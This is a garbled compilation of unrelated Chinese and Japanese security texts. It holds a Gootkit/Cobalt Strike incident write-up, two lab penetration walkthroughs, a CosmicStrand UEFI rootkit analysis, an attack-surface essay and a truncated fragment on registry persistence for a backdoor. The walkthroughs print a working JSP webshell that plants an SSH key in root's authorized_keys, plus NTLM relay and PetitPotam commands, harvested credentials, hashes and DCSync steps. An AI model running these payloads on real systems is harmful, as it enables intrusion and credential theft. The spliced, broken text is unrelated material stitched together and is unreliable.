VisionOne的AMSI分析記錄的第一階段腳本執行流程

從上述受感染網站檢索到的第二階段腳本完成了此處列出的信息:

1.它通過環境字符串獲取當前用戶名;

2.它檢查目標註冊表並在它不存在時創建它。它為持久性執行註冊表填充,其中創建了兩組註冊表,每組都包含加密的二進製文件,稍後將被解碼和執行:

10.png

VisionOne的AMSI追踪記錄的\\Phone\\{loggedOnUser}\\上的註冊表填充

11.png

VisionOne的AMSI追踪記錄的\\Phone\\{loggedOnUser}0\\上的註冊表填充

在這兩個階段之後,它最終執行了兩個同樣由AMSITelemetry記錄的加密PowerShell腳本。第一個解密註冊表\\Phone\\{loggedOnUser}0\\的二進製文件,並用於啟動名為“Test”的函數。

12.png

VisionOne的AMSI追踪記錄的第一個PowerShell的解碼腳本

第二個PowerShell腳本通過計劃任務安裝持久性機制,其中它將用戶名分配為其任務名稱。

13.png

VisionOne的AMSI追踪記錄的第二個PowerShell解碼後的腳本

計劃任務將二進製文件加載到\Phone\{loggedOnUser}0註冊表,然後使用相同的反射代碼加載技術解密並執行在\Phone\{loggedOnUser}註冊表中找到的最終有效負載。

發現此實例的最終有效負載是一個CobaltStrike二進製文件,該二進製文件也被發現連接到CobaltStrike的命令和控制(CC)服務器。

CobaltStrike有效載荷CobaltStrike二進製文件以反射方式直接加載到內存中,已連接到IP地址89[.]238[.]185[.]13。使用內部和外部威脅情報,該團隊確認該IP地址是Cobalt Strike CC。 CobaltStrike是一種用於後期開發活動的工具,它使用信標組件作為主要有效負載,允許執行PowerShell腳本、記錄擊鍵、截屏、下載文件和生成其他有效負載。

14.png

總結從這個案例中得到的一個關鍵結論是,Gootkit仍然很活躍,並不斷迭代其技術。這意味著該操作已被證明是有效的,因為其他攻擊者似乎仍在繼續使用它。用戶未來可能會在其他活動中遇到Gootkit,並且它很可能會使用新的手段來發起攻擊。

分析還表明,SEO攻擊仍然是一種有效的釣魚策略。 SEO攻擊和合法網站受損結合可以掩蓋惡意活動的跡象,這些跡象通常會讓用戶保持警惕。這種策略突出了用戶意識的重要性以及網站所有者在確保其網絡空間安全方面的責任。

各類組織可以通過對其員工進行用戶安全意識培訓來提供幫助,該培訓旨在使人們能夠識別並保護自己免受最新威脅的攻擊。例如,在本例中,如果用戶對下載JavaScript文件更加謹慎,則可以更早地避免威脅。另一方面,網站所有者必須通過選擇強調自己服務器安全性的網絡託管服務提供商來做出更好的網絡託管選擇。

這個案例凸顯了監控的重要性。值得注意的是,跨平台XDR阻止了這種攻擊升級,因為我們能夠迅速隔離受影響的計算機,阻止對網絡造成進一步的損害。例如,CobaltStrike有效載荷可能會導致更嚴重的問題,例如勒索軟件的部署、橫向移動的憑證轉儲和數據洩露。託管XDR服務阻止了這一切的實現。

0x01 – Info

  • Tag: Tomcat,NTLM,WebClient,Coerce Authentication,noPac
    53iuzugpbv314239.png

0x02 – Recon

  1. Target external ip
     47.92.146.66
    
  1. Nmap results
    Focus on port 8009 (ajp) ,意味着是tomcat (对应了靶场的tomcat tag)
    njy0ewwgn4j14240.png
  2. 目录扫描,404页面显示为tomcat 9.0.30
    hezfp2ewn0l14241.png
  3. Playing with Ghost cat
    使用该项目测试
    https://github.com/00theway/Ghostcat-CNVD-2020-10487
    读取/web-inf/web.xml
    5dqfol4c3dq14243.png
    url-pattern 结果存为字典
    ipt3dljejus14244.png
    FFuf
    50d5abakafr14245.png
    关注uploadservlet
    alcsuijqj3c14247.png
    上传temp.txt
    0ssj1carr5b14248.png
    返回文件地址
    eebthlwkfso14249.png
     ./upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt
    

    替换 ./upload to /upload,成功读取到上传的文件

     python3 ajpShooter.py http://47.92.146.66:8080 8009 /upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt read
    

    u2oezixff1w14250.png

 

0x03 – GhostCat命令执行

  1. 准备好 shell.txt
    icwhnar0di214253.png

    <% java.io.InputStream in = Runtime.getRuntime().exec(“bash -c {echo,ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDL3NKaDY4Uk5hWktLakNQaE40WUxpSnJ4eDR3N3JtbDBGcFRmMTNYNHVKZlpFZm4yU25scE9rdXQ0OE1LdURHOEtDcXczRW0zNU9odXdUa2p3ZEkvRGhGN3ZSeTB0T2xtWDE5NmJHcXpndE5pM1YzUHExc3NCMzV5Ui85SHJ6ZjVEdHdqS2NKdkphV0RuZzU2UWhHZjlnR21vdUZVQWV2QjdsUWl3a01FNWNxTzVsQTRwUm5KVEh2RU1OQUkxQkc3MTBEeWNKT28rNGh1TGNNVjZhdUs3UXdKTWdnN0oyU2U5TEpGZWk2R2g0amJUSGRhdmNBVjV6VVJZeFI4QVNXSmNqY29tM2dMUEE1UWNxSzNzSERRVmswUHllaTR3cEJwWWlFUGlHcHlQR2Y1T3ErUU0xQmJyR0gvTlRBYnZWa3dDZnBkRURWdVBNNWhHOFY4c09HTjIxczlWazFjMVBXaEh2WDZ1ejhRaDRNdUdnQlRYSHlZb3duTjg3OTExVDVGR0VjVzlWeUh1cm9FSVJtdE9sY3dBYmRMc0k0NVhOS1o0aWoxdERLNTRTMmpXWXhJTjhSL1ZuUnV2RVVoTVpGOUlabDM3UW5EQnBFR25LTXFjTVE4cHVUZUJBMngvSURHMFR6MWxjVGk5WHp5WjVheTd4dTJwZStidXhWT1BSQ2M9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==}|{base64,-d}|{bash,-i}”).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(“<pre>“); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(“</pre>“);%>

  1. 上传shell.txt
    opcbzg3hrch14254.png
  2. 执行上传的代码
    pcjorwlanmv14257.png
  3. SSH – flag01
    4csqknnshow14259.png

 

0x04 – 入口 Ubuntu: 172.22.11.76

  1. SSH
    ivqlz4xvcuv14261.png
  2. 没啥东西,直接过
    2repwedqh2a14263.png
  3. 开代理
    xyi3dxzqzn214265.png
  4. 挂代理扫445,获取到三台主机信息

    172.22.11.45 XR-Desktop.xiaorang.lab
    172.22.11.6 xiaorang-dc.xiaorang.lab
    172.22.11.26 XR-LCM3AE8B.xiaorang.lab
    41kkz0iwvdr14267.png

  5. 关注172.22.11.45 – windows7 – MS17
    ozvvx2gk3oh14268.png
  6. MS17 一气呵成
    a1ieb5lhrr014270.png
  7. 基本操作
    waakbhdjgkn14271.png
    tg4fpav2et314273.png
    凭据列表

    Administrator 4430c690b4c1ab3f4fe4f8ac0410de4a – (本地凭据)
    John 03cae082068e8d55ea307b75581a8859 – (本地凭据)
    XR-DESKTOP$ 3aa5c26b39a226ab2517d9c57ef07e3e – (域凭据)
    yangmei 25e42ef4cc0ab6a8ff9e3edbbda91841 – xrihGHgoNZQ (明文) – (域凭据)
    本人已经试过组合爆破了,没有东西,这边直接略过演示,直接到域渗透环节
    zcikwn4werg14274.png

  8. Flag2
    tvibmczpu2314275.png
  9. 把域用户yangmei加入该机器的本地管理员
    znt1nlcuyka14277.png
  10. 确定域控IP为172.22.11.6 – xiaorang-dc
    t5uzjaqujax14279.png
  11. Bloodhound收集
    shtekg04dwi14281.png

 

0x05 – 域渗透环节, 入口 XR-Desktop: 172.22.11.45

  • 这边快速过一下 (一句话总结:不能直接拿下域控)
    1. 使用Bloodhound收集到的用户名组合获取到的密码/hashes组合爆破,没发现其他新用户
    2. MAQ = 0,加不了计算机
    3. 当前LDAP 没 TLS,远程也加不了计算机,impacket的addcomputer有两种方法samr和ldaps。samr受到MAQ = 0的限制,无法添加计算机;ldaps受到 没TLS + MAQ = 0 的限制
    4. 域控存在nopac,当前用户yangmei使用nopac没打死,并且对域内computer container没有createchild的ACL
    5. 域控存在nopac,当前用户yangmei对当前windows机器xr-desktop没WriteDacl权限,意味着无法修改SamAccountName
    6. 域内存在 DFscoerce 和 petitpotam,但是不存在CVE-2019-1040,因此放弃 DFscoerce,优先使用petitpotam
    7. NoPac exploit: Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user (github.com)
  1. Petitpotam 扫描
    f3i4rt0nalc14283.png
  2. 无ADCS + Petitpotam + ntlm中继打法
    攻击链:用petitpotam触发存在漏洞且开启了webclient服务的目标,利用petitpotam触发目标访问我们的http中继服务,目标将会使用webclient携带ntlm认证访问我们的中继,并且将其认证中继到ldap,获取到机器账户的身份,以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD)
  • 满足条件,目标机器需要开启webclient服务
    WebClient扫描,确定只能拿下 172.22.11.26 (XR-LCM3AE8B)
    xifsx5c4pb414284.png
  • 中继攻击前言:
    • 实战中的中继打法只需要停掉80占用服务,开启端口转发(portfwd,CS在后续版本中添加了rportfwd_local,直接转发到客户端本地)
    • 本次演示类似实战的打法,不选择把impacket丢到入口ubuntu上面这种操作
  1. 中继攻击环境配置: 端口转发 + 代理
    我们目前需要把服务器的80,转发到客户端本地的80
  • 注意:由于SSH的反向端口转发监听的时候只会监听127.0.0.1,所以这时候需要点技巧
    如图所示,即使反向端口转发79端口指定监听全部 (-R \*:79:127.0.0.1:80),端口79依旧绑定在了127.0.0.1(图中顺便把socks5代理也开了)
    ezutnga4bnz14285.png
    加多一条socat,让流量 0.0.0.0:80 转发到 127.0.0.1:79,再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0
    urwqfau3usi14286.png
    测试,从172.22.11.76:80 进来的流量直接转发到了我们本地
    3rw45zlw1sy14288.png
    本地开启ntlmrelayx
  • 注意:
    • 前面提到,没有ldaps,所以不能使用addcomputer
    • 同时在使用proxychains后,ldap://后面只能接dc的ip
    • 利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD
      sudo proxychains4 -q -f proxychains.conf ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
      uqvkbrvnuvn14291.png
  1. 使用Petitpotam触发 XR-LCM3AE8B 认证到172.22.11.76 (ubuntu)
    proxychains4 -q -f ~/HTB/Spoofing/proxychains.conf python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt XR-LCM3AE8B
    可以看到,已经完成RBCD攻击了,接下来就是直接申请XR-LCM3AE8B的银票了
    0som3gysxym14293.png
  2. 申请XR-LCM3AE8B CIFS票据
    uqgmj0ub5o214295.png

 

0x06 – 域渗透环节 – NoPAC, 入口 XR-LCM3AE8B:172.22.11.26

  1. psexec
  • flag03在 C:\users\administrator\flag\flag03.txt (这里没截图)
    kexldxxklhy14297.png
  1. smbclient.py 传 mimikatz
    td0lapyx0vh14299.png
  2. 获取到新凭据
     zhanghui 1232126b24cdf8c9bd2f788a9d7c7ed1
    

    es13wzn2iug14301.png

  3. nopac
  • 只有zhanghui能成功,zhanghui在MA_Admin组,MA_Admin组对computer 能够创建对象,但是在bloodhound没看到
    AdFind.exe -b "CN=Computers,DC=xiaorang,DC=lab" nTSecurityDescriptor -sddl+++
    immthpczhrb14304.png
    Bloodhound看不到,主要原因是没把CreateChild采集进json
    ckjcsjpzsdw14306.png
  1. 回到nopac,加上 create-child 参数
    3oe42q1owwe14308.png

 

0x07 – 域渗透环节 – xiaorang-dc

  1. 使用nopac申请到的cifs票据登录进入DC
  • flag04在 C:\users\administrator\flag\flag04.txt (这里没截图)
    yqagpmzy03l14310.png
  1. 域管 (略过使用mimikatz)
    administrator 0fadb57f5ec71437d1b03eea2cda70b9
    ![[rubipgrhkqo14313.png

 

0x08 – 瞎玩

尝试解决Bloodhound.py采集不到CreateChild
bloodhound/enumeration/acls.py里面其实已经定义好了变量,只需要调用即可
3a15h0ywoqe14315.png
来到170行,我们添加上去,找到CreateChild就添加进数据
jlscbowow2y14316.png
重新跑一遍bloodhound.py,观察containers的结果,发现已经有相关数据了,RID 1132 = MA_Admin组
bklh54kb4q214318.png
Bloodhound示意图,但是数据还是乱
0btwskrdhze14320.png

原文链接: https://www.anquanke.com/post/id/285771

0x1 Info

image
靶场地址:https://yunjing.ichunqiu.com/ranking/summary?id=BzMFNFpvUDU 从web到内网再到域的靶场环境都全,且出题的思路很好,感兴趣的可以去玩玩

0x2 Recon

  1. Target external IP
    39.98.34.149
  2. Nmap results
    image
  3. 关注80端口的http服务,目录爆破(省略)找到 /admin
    image
  4. 使用弱口令登录进入后台,去到模板页面,编辑header.html,添加php一句话
    \

    用户名: admin, 密码:123456
    


image

  1. 命令执行
    image

0x03 入口点:172.22.4.36

  1. 弹shell
    image
    快速过一下:

    • 入口机器没特别的东西
    • 没能提权到root权限(也不需要提权到root权限)
    • stapbpf suid利用失败

      找到diff suid
      image
  2. flag01
    diff --line-format=%L /dev/null /home/flag/flag01.txt
    image
  3. flag01 里面有提示用户名
    WIN19\Adrian
  4. 挂代理扫 445
    image

    获取到三个机器信息

    172.22.4.19 fileserver.xiaorang.lab
    172.22.4.7 DC01.xiaorang.lab
    172.22.4.45 win19.xiaorang.lab

  5. 用 Flag01提示的用户名 + rockyou.txt 爆破,爆破出有效凭据 (提示密码过期)

    win19\Adrian babygirl1
  6. xfreerdp 远程登录上 win19 然后改密码
    image
    image

0x04 Pwing WIN19 - 172.22.4.45

前言:当前机器除了机器账户外,完全没域凭据,需要提权到system获取机器账户

  1. 桌面有提示
    image
  2. 关注这一栏,当前用户Adrian对该注册表有完全控制权限
    image
    image
  3. 提权
    msfvenom生成服务马,执行 sam.bat
    image

    sam.bat
    image

    修改注册表并且启用服务,然后桌面就会获取到 sam,security,system
    image
  4. 获取 Administrator + 机器账户 凭据

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::
    $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:917234367460f3f2817aa4439f97e636

    image

  5. flag02
    image
  6. 使用机器账户收集域信息
    image

0x05 DC takeover - 172.22.4.7

  1. 分析 Bloodhound,发现 WIN19 + DC01都是非约束委派
    image
  2. 使用Administrator登录进入 WIN19,部署rubeus
    image
  3. 使用DFSCoerce强制触发回连到win19并且获取到DC01的TGT
    image
    image
  4. Base64的tgt 解码存为 DC01.kirbi
    image
  5. DCSync 获取域管凭据
    image
  6. psexec - flag04
    image

0x06 Fileserver takeover - 172.22.4.19

  1. psexec - flag03
    image

0x07 Outro

  • 感谢Alphabug师傅的提示(0x03 - 0x04),大哥已经把入口点都打完了,我只是跟着进来而已
  • 感谢九世师傅的合作

原文链接:https://www.freebuf.com/articles/web/352151.html

abstract_cosmic_strand-1200x600.jpg

Rootkit 是植入操作系統最深處的惡意軟件。儘管在紙面上它們似乎對攻擊者很有吸引力,但創建它們會帶來重大的技術挑戰,並且最輕微的編程錯誤都有可能使受害計算機完全崩潰。在對2022 年的APT 預測中,我們注意到儘管存在這些風險,但預計會有更多的攻擊者達到開發此類工具所需的複雜程度。嵌入在如此低級別的操作系統中的惡意軟件的主要吸引力之一是,它極難被檢測到,而且在固件rootkit的情況下,即使重新安裝操作系統或用戶完全更換了計算機的硬盤驅動器,也會確保計算機保持在感染狀態。

在本文中,我們會介紹一個名為CosmicStrand 的UEFI 固件rootkit。

受影響的設備雖然我們無法發現受害計算機最初是如何被感染的,但對其硬件的分析揭示了CosmicStrand 可以感染的設備。 rootkit 位於技嘉或華碩主板的固件映像中,我們注意到所有這些映像都與使用H81 芯片組的設計有關。這表明可能存在允許攻擊者將其rootkit 注入固件映像的常見漏洞。

在這些固件映像中,對CSMCORE DXE 驅動程序進行了修改,其入口點已被修補以重定向到.reloc 部分中添加的代碼。此代碼在系統啟動期間執行,會觸發一個長執行鏈,從而導致在Windows 中下載和部署惡意組件。

查看我們能夠獲得的各種固件映像,我們評估這些修改可能是使用自動修補程序執行的。如果是這樣,則攻擊者可以事先訪問受害者的計算機,以提取、修改和覆蓋主板的固件。這可以通過已經部署在計算機或物理訪問上的預先植入的惡意軟件來實現。

感染過程概述在深入了解組成這個rootkit 的各種組件之前,我們想提供一個關於它試圖完成的任務的高級視圖。此執行鏈的目標是在每次啟動時從受感染的UEFI 組件開始將內核級植入部署到Windows 系統中。

UEFI 惡意軟件開發者面臨一個獨特的技術挑戰:他們的植入程序在啟動過程中很早就開始運行,以至於操作系統(在本例中為Windows)甚至還沒有加載到內存中。到那時,UEFI執行上下文已經終止了。 rootkit完成的主要任務是找到一種方法,將惡意代碼一路傳遞到各個啟動階段。

工作流程包括連續設置掛鉤,允許惡意代碼持續存在,直到操作系統啟動之後。所涉及的步驟是:

初始受感染的固件引導整個鏈。

該惡意軟件在啟動管理器中設置了一個惡意掛鉤,允許它在執行之前修改Windows 的內核加載程序。

通過篡改操作系統加載程序,攻擊者能夠在Windows 內核的功能中設置另一個掛鉤。

當稍後在操作系統的正常啟動過程中調用該函數時,惡意軟件最後一次控制了執行流程。

它在內存中部署一個shellcode 並聯繫C2 服務器以檢索實際的惡意有效負載以在受害者的計算機上運行。

下圖中總結了這些步驟:

1.png

UEFI 植入2.png

在確定了惡意軟件植入的目的之後,我們現在可以更詳細地了解這些步驟是如何執行的。

整個執行鏈從EFI 驅動程序開始,它似乎是一個名為CSMCORE 的合法版本的補丁版本(旨在促進通過MBR 在傳統模式下啟動計算機),其中攻擊者修改了指向HandleProtocol 啟動服務函數的指針。每次調用此函數時,都會將執行重定向到攻擊者提供的代碼,該代碼試圖確定調用它的組件(它正在尋找要感染的特定組件——efi)。通過檢查函數參數以及位於返回地址的字節,CosmicStrand 可以識別它正在尋找的確切“調用”。

3.png

之所以選擇執行中的這個特定點,是因為在這個階段,引導管理器已經加載到內存中,但還沒有運行。 CosmicStrand抓住了這個機會來修補它的Archpx64TransferTo64BitApplicationAsm中的一些字節。

該函數稍後在正常的操作系統啟動過程中被調用也是在一個關鍵時刻:那時Windows 操作系統加載程序也存在於內存中,並且可以反過來進行修改。

當它運行時,Archpx64TransferTo64BitApplicationAsm 通過查找特定的字節模式從OS 加載器(OslArchTransferToKernel) 中定位一個函數。 然後CosmicStrand 在它的末端添加一個掛鉤。

4.png

OslArchTransferToKernel 在執行從Windows 加載程序轉移到Windows 內核之前被調用,這使其成為此類rootkit 的傳統掛鉤點。

在Windows 內核有機會運行之前,CosmicStrand 在ZwCreateSection 中設置了另一個掛鉤。惡意代碼被複製到內存中的ntoskrnl.exe的映像中,並且ZwCreateSection的第一個字節被重寫以重定向到它。我們注意到,攻擊者小心翼翼地將惡意代碼放在ntoskrnl.exe的.text部分的空閒空間中,這使得這種重定向在可能的安全產品眼中不那麼顯眼。

5.png

此時,CosmicStrand 似乎還試圖禁用PatchGuard,這是一種用於防止修改內存中Windows 內核的關鍵結構的安全機制。為此,它會定位ntoskrnl.exe 的KiFilterFiberContext 函數並對其進行修改,使其無需執行任何工作即可返回。值得注意的是,該函數的本地化也是通過搜索硬編碼模式來實現的,非常詳盡,甚至包含與2016 年8 月發布的Redstone 1 對應的模式。

6.png

然後,Windows內核啟動,並在正常運行時調用掛鉤的ZwCreateSection函數。當這種情況發生時,CosmicStrand會再次獲得執行的控制權,並在運行更多惡意代碼之前恢復原始代碼。

ZwCreateSection 掛鉤的主要目的是收集內核提供的API 函數的地址,並為下一個組件創建一個導入表。通過使用解析函數,它還在內核地址空間中分配了一個緩衝區,在調用shell代碼之前,它在這個地址空間映射shell代碼。

內核shellcode到目前為止描述的所有步驟僅用於將代碼執行從UEFI 傳播到Windows 內核。這個shellcode 是迄今為止鏈中第一個真正的惡意組件。它設置了一個線程通知例程,每次創建新線程時都會調用該例程。 CosmicStrand 一直等到winlogon.exe 出現,然後在這個高權限上下文中執行回調。

這樣,CosmicStrand 會休眠10 分鐘並測試受感染計算機的互聯網連接。 CosmicStrand 不依賴高級API 函數來生成網絡流量,而是直接與傳輸設備接口交互:它生成所需的IRP(I/O 請求數據包)並通過將IOCTL 發送到TCP 或UDP 設備對象。 DNS請求可以通過谷歌的DNS服務器(8.8.8[.]8)或自定義的DNS服務器(222.222.67[.]208)來實現。

CosmicStrand 通過向其C2 服務器update.bokts[.]com 發送自定義的UDP或TCP 數據包來檢索其最終有效負載。回复預計將返回一個或多個包含528 字節塊的數據包,遵循以下結構:

7.png

各種數據塊被重新組裝成一家族字節,這些字節映射到內核空間並解釋為shellcode。不幸的是,我們無法獲得來自C2 服務器的數據副本。然而,我們確實在我們可以研究的一台受感染計算機上找到了內存中的用戶模式樣本,並相信它與CosmicStrand 相關聯。該示例是一個可執行文件,它運行命令行以便在受害者的計算機上創建一個用戶(“aaaabbbb”)並將其添加到本地管理員組。

8.png

我們可以由此推斷,從C2 服務器接收到的shellcode 可能是攻擊者提供的PE 可執行文件的暫存器,而且很可能存在更多。

較舊的CosmicStrand 變體在調查過程中,我們還發現了這個rootkit 的舊版本。它們具有相同的部署過程,它們的細微差別與內核shellcode 有關。

它試圖從exe 而不是winlogon.exe 劫持線程。

為獲得額外的shellcode 以運行而聯繫的C2 域是不同的(erda158[.]to)。

每次在系統中創建新進程時,舊變體都會打印調試消息。

9.png

根據我們對這兩種變體使用的基礎設施的分析,我們估計舊的一種在2016 年底至2017 年中期之間使用,而當前的一種在2020 年曾非常活躍。

基礎設施我們知道有兩個C2服務器,每個變體對應一個。根據對他們可用的被動DNS數據,這些域有一個很長的生命週期,並在有限的時間內解析到IP地址,否則,rootkit 將無法運行。因此值得注意的是,雖然攻擊者選擇部署極其持久的植入程序,但對受害計算機的實際利用可能只有幾個月。但是,這些域可能偶爾會在很短的時間內被重新激活,並且此信息不會被被動DNS 系統記錄。

10.png

細心的讀者會注意到這兩個域的活動期之間存在三年的差距。在此期間,攻擊者可能正在使用通過CosmicStrand 部署的用戶模式組件控制受害者的計算機,或者更有可能我們還沒有發現的其他變體和C2服務器。

受害者目前,研究人員在中國、越南、伊朗和俄羅斯發現CosmicStrand 的受害者。

總結綜合分析,CosmicStrand 是由說中文的開發者開發的,或者是利用了講中文的攻擊者的資源。具體來說,CosmicStrand中的一些代碼模式也在另一個惡意軟件家族MyKings殭屍網絡中被觀察到(例如,MD5 E31C43DD8CB17E9D68C65E645FB3F6E8)。 Sophos在2020年記錄了這個用於部署加密器的殭屍網絡。

與CosmicStrand 的相似之處包括:

使用MBR rootkit 在MyKings 中建立隱秘持久性。

CosmicStrand 和MyKings 在內核模式(Proc 和GetM)中分配內存時使用相同的標籤。

兩個家族都以相同的方式生成網絡數據包,並直接利用UDP 和TCP 設備對象。

兩者使用的API 哈希碼是相同的,如下面的截圖所示。據我們所知,這種算法只在另外兩個rootkit 中被發現,即MoonBounce 和xTalker。

12.png

除了這種代碼相似性之外,CosmicStrand 使用的硬編碼後備DNS 服務器位於CHINANET-BACKBONE (AS4134) 這一事實可能被視為攻擊者屬於中文網絡的一個非常低的置信度的跡象。

CosmicStrand 是一個複雜的UEFI 固件rootkit,它允許其所有者實現持久性攻擊。

remote_desktop_abstract-e1654695169351.jpeg

互聯網協議(IP)地址及其背後的設備、網絡服務和雲資產是現代企業的生命線。但公司經常積累數千個數字資產,無序的狀態給IT和安全團隊造成了無法管理的混亂。如果不仔細地加以檢查,一個被遺忘、遺棄或未知的數字資產對於公司來說就是網絡安全定時炸彈。

為什麼查看和管理網絡中的每個數字事物都應是重中之重?這當中存在一種可能:它們是您組織基礎設施中增長最快的部分。有效的數字資產管理——包括IP地址可見性——是您阻止攻擊者對網絡資產發動攻擊的最基礎也是最有效的途徑。

在過去的二十年裡,安全團隊一直專注於解決內部資產風險。面向公眾的數字資產和IP地址是“非軍事化區”的一部分,“非軍事化區”是一個防禦的強化但非常有限的周邊地區。但在全球大流行和隨之而來的居家辦公趨勢的推動下,數字化轉型隨之而來,網絡邊界變得不再清晰,都需要讓位於當今一切託管服務的現代架構。

數字資產:死亡、遺忘和危險過去兩年的業務數字化轉型引發了一場新的網絡應用程序、數據庫和物聯網設備的海嘯。他們為威脅組織創造了一個巨大的新攻擊面,其中包括複雜的雲原生IT基礎設施。可能暴露的是數千個API、服務器、物聯網設備和SaaS資產。

管理不善的數字資產是一顆定時炸彈。例如,在網絡應用程序中存在巨大風險。在最近的CyCognito調查中,我們發現Global 2000組織平均每個組織有5000個暴露的Web界面,佔其外部可能受到攻擊表面的7%。在這些Web應用程序中,我們發現不乏開源JavaScript漏洞庫問題,如jQuery、JQuery-UI和Bootstrap。 SQL注入、XSS和PII暴露漏洞也不短缺。

任何面向外部的資產未知或管理不善,都可以被視為邀請對手破壞您的網絡的機會。然後,攻擊者可以竊取數據、傳播惡意軟件、破壞基礎設施並實現持續的未經授權訪問。

當我們與公司談論他們的攻擊面時,我們很少聽到他們對掌握數字資產表示信心。許多公司仍然通過Excel電子表格跟踪IP地址,並反過來連接資產。這種措施是否高效?事實上這僅適用於最小的組織。 ESG在2021年的一項研究發現,73%的安全和IT專業人士依賴他們。

數據安全是頭等大事,這也是貴公司的皇冠珠寶。我認為,保護IP地址和連接資產應該採取更現代的管理方法,這樣就可以在問題出現之前解決這些問題。

善意可能會出錯但即使是善意的公司也可能犯錯誤。假設企業服務台創建的內部票務系統只能通過內部URL訪問。對手可能會利用URL的基礎IP地址,並通過添加“:8118”來打開網絡後門(或端口)。這就是為什麼IP地址,包括端口、域和證書等相關技術,可能帶來巨大的安全和聲譽風險。

其結果可能是數字資產軟點的墓地,這些軟點經常成為對手的切入點,例如被遺忘或管理不善的DevOps或SecOps工具、雲產品和設備Web界面。

在當今復雜的企業中,系統管理員通常只能看到他們負責管理的設備子集。如果資產不在您的雷達屏幕上,您將無法真正地降低風險。

為什麼管理IP連接的資產就像養貓一樣在過去的12個月裡,通過對CyCognito的客戶群觀察調研,我們看到組織內IP地址(和相關數字資產)的數量增長了20%。這一增長至少部分歸功於雲的採用以及對居住在公司網絡的連接設備和Web應用程序的依賴。但經常被忽視的是,當公司增長或萎縮時,基礎設施會蔓延。

例如,在繞過IP地址管理方面,合併和收購(併購)活動通常會讓企業保持平穩。假設酒店集團收購了較小的競爭對手。當這種情況發生時,它還繼承了一個由未管理和未知的IP地址和域組成的潛在雷區。

死亡域名和被遺忘域名——一種不同類型的數字資產——經常成為所謂的懸垂DNS記錄的犧牲品,對手可以通過重新註冊來接管被遺忘的子域名。這些子域以前連接到公司資源,但現在完全由不良行為者控制,然後可用於改變公司的網絡流量,造成數據丟失和聲譽損害。

同樣,子公司的剝離可能導致基礎設施被遺棄,成為孤兒數字資產和相關網絡應用程序。這些被遺忘的資產經常被IT團隊忽視,但絕對不會被機會主義黑客忽視。

更糟糕的是,不安全的端口使設備可以進行默認憑據攻擊。畢竟,對於對手來說,要掃描和查找開放的端口,他們需要管理不善的雲服務或IP連接的硬件。

最後,通過收購獲得的不受管理的IT基礎設施和資產可能會浪費寶貴的時間。考慮一下管理不善的IP地址如何向IT安全團隊發送高度戒備狀態,以了解為什麼公司資產在它不開展業務的國家/地區被使用。

為了保護關鍵數據,阻止惡意軟件感染並防止漏洞,部分答案是進行有效的數字資產管理以及提高IP地址可見性。太多的系統管理員仍然受制於這個過時的基於電子表格的資產管理系統。

此外,忽略攻擊載體並僅檢測已知資產中CVE的遺留掃描儀無法評估與公司內部大量數字資產相關的風險。例如,在之前的內部票務系統中——通過URLhttps://X.X.X.X[:]8118意外暴露在互聯網上——該IP上的端口掃描充其量只能找到HTTP服務。掃描儀肯定不會理解曝光的背景和關鍵性。公司擁有的雲資產上意外打開目錄也是如此,儘管這些目錄可能包含員工憑據和TB的敏感數據。

無知不是幸福看到就是相信當然,默認情況下,數字資產並不危險。相反,風險與IT堆棧的管理以及系統管理員處理與預置、非預置、託管和非託管服務綁定的眾多連接應用程序的能力有關。

難題擺在公司的面前:“你如何管理你不知道的東西?”

實施網絡分割,零信任解決方案和積極的IP和端口掃描,以及資產發現,都是對減輕威脅問題的必要響應。但這些解決方案並沒有100%解決問題。

這就像根據20%的居民的檢測,給社區一份乾淨的新冠肺炎健康法案。沒有其他80%的測試,你真的不知道自己是否安全。即使對90%的攻擊表面進行完美的漏洞管理,當10%可能看不見和不受管理時,這也不是無關緊要的事。

與低效的發現工具相關的成本和修復發現問題的IT資源有限也是有效攻擊表面管理的障礙。

攻擊表面管理需要圍繞“發現”暴露的關鍵資產的新心態。持續發現那些大規模攻擊者抵抗力最小的路徑,加上安全測試和將寶貴資產被盜的風險聯繫起來,至關重要。 CyCognito正在圍繞暴露和風險管理與緩慢、有限範圍和昂貴的漏洞管理開拓這個想法。

想像一下,看到您的整個攻擊表面——以及您的子公司的攻擊表面——並能夠根據風險簡介對修復進行優先排序,該風險簡介告訴您特定資產被黑客入侵的概率。在數字資產的背景下,了解您的整個IP環境並優先考慮需要首先解決的問題,可以大大有助於實現更安全的IT環境。

大局?對手總是尋求阻力最小的道路。他們避免了更難的攻擊路徑,因為它們往往很吵,增加了後衛檢測和響應的風險。現代外部攻擊表面管理方法應該利用資產補救優先級相同的最不耐藥性路徑原則,同時減少回收(MTTR)的時間,並回答以下問題:“我們安全嗎?”

Rob Gurzeev是外部攻擊表面管理公司CyCognito的首席執行官兼聯合創始人。他是一名進攻性安全專家,專注於提供網絡安全解決方案,幫助組織找到並消除攻擊者利用的路徑。

1。レジストリスタートアップに関する注意:この方法は、タスクを維持するためにこの方法で権限を維持するために使用されます。ExeはCSによって生成されたバックドアファイルです。ここでは、バックドアファイルを使用して、隠されたファイルの殺害を避けることができます。 Shell Attrib C: \ Windows \ Task.exe +S +H 1049983-20240926132220725-370366897.pngレジストリスタートアップバックドアファイルReg Add hklm \ Software \ Microsoft \ Windows \ currentversion \ run /v 1049983-20240926132222308-1456730551.png

